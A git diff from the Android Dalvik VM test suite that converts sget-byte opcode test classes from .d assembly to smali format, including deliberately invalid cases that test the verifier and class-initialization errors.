diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_17.smali
new file mode 100644
index 0000000..5e796f5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_17.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_17;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_17;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_18.d
deleted file mode 100644
index e95a5eb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_18.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_18
-.super java/lang/Object
-
-.field public static i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-byte v0, dot.junit.opcodes.sget_byte.d.T_sget_byte_18.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_18.smali
new file mode 100644
index 0000000..1dcb79e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_18.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_18;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_18;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_19.d
deleted file mode 100644
index 822c286..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_19.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_19
-.super java/lang/Object
-
-.field public static i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-byte v0, dot.junit.opcodes.sget_byte.d.T_sget_byte_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_19.smali
new file mode 100644
index 0000000..0843559
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_19.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_19;
+.super  Ljava/lang/Object;
+
+.field public static i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_20.d
deleted file mode 100644
index e9c6567..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_20.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_20
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-byte v0, dot.junit.opcodes.sget_byte.d.T_sget_byte_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_20.smali
new file mode 100644
index 0000000..d970551
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_20.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_20;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v0, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_3.d
deleted file mode 100644
index 800e5f2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_3.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_3
-.super java/lang/Object
-
-.field public static i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-byte v3, dot.junit.opcodes.sget_byte.d.T_sget_byte_3.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_3.smali
new file mode 100644
index 0000000..ff770d8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_3.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_3;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-byte v3, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_3;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_4.d
deleted file mode 100644
index 5e884e3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_4.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_4
-.super java/lang/Object
-
-.field public static i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       sget-byte v1, dot.junit.opcodes.sget_byte.d.T_sget_byte_4.i1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_4.smali
new file mode 100644
index 0000000..37a24cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_4.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_4;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_4;->i1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_5.d
deleted file mode 100644
index ad5d006..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_5.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_5.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_5
-.super java/lang/Object
-
-.field public i1 B
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-
-       const v2, 77
-       iput-byte v2, v3, dot.junit.opcodes.sget_byte.d.T_sget_byte_5.i1 B
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       sget-byte v1, dot.junit.opcodes.sget_byte.d.T_sget_byte_5.i1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_5.smali
new file mode 100644
index 0000000..1c62f08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_5.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_5.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_5;
+.super  Ljava/lang/Object;
+
+.field public i1:B
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const v2, 77
+       iput-byte v2, v3, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_5;->i1:B
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_5;->i1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_6.d
deleted file mode 100644
index 48a4cb8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_6.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       sget-byte v1, dot.junit.opcodes.sget_byte.TestStubs.TestStubField B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_6.smali
new file mode 100644
index 0000000..c7bb8cd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_6.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/TestStubs;->TestStubField:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_7.d
deleted file mode 100644
index e887bec..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_7.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       sget-byte v1, dot.junit.opcodes.sget_byte.d.T_sget_byte_7no_class.i1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_7.smali
new file mode 100644
index 0000000..fe1b19d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_7.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_7no_class;->i1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_8.d
deleted file mode 100644
index 96ab1da..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_8.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       sget-byte v1, dot.junit.opcodes.sget_byte.d.T_sget_byte_8.i1N B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_8.smali
new file mode 100644
index 0000000..511ddc2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_8.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_8;->i1N:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_9.d
deleted file mode 100644
index aee1a37..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_9.d
+++ /dev/null
@@ -1,53 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source StubInitError.java
-.class public dot.junit.opcodes.sget_byte.d.StubInitError
-.super java/lang/Object
-
-.field public static value B
-
-.method static <clinit>()V
-.limit regs 2
-
-       const/4 v0, 0
-       const/4 v1, 1
-       div-int/2addr v1, v0
-
-       const v1, 1
-       sput-byte v1, dot.junit.opcodes.sget_byte.d.StubInitError.value B
-       return-void
-.end method
-
-
-.source T_sget_byte_9.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       sget-byte v1, dot.junit.opcodes.sget_byte.d.StubInitError.value B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_9.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_9.smalis/StubInitError.smali
new file mode 100644
index 0000000..a267190
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_9.smalis/StubInitError.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_byte/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:B
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x1
+
+    div-int/2addr v1, v0
+
+    const v1, 0x1
+
+    sput-byte v1, Ldot/junit/opcodes/sget_byte/d/StubInitError;->value:B
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_9.smalis/T_sget_byte_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_9.smalis/T_sget_byte_9.smali
new file mode 100644
index 0000000..6f45abf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_9.smalis/T_sget_byte_9.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_9;
+.super Ljava/lang/Object;
+.source "T_sget_byte_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()B
+    .registers 3
+
+    sget-byte v1, Ldot/junit/opcodes/sget_byte/d/StubInitError;->value:B
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_1.d
deleted file mode 100644
index 5fc252d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_1.d
+++ /dev/null
@@ -1,51 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
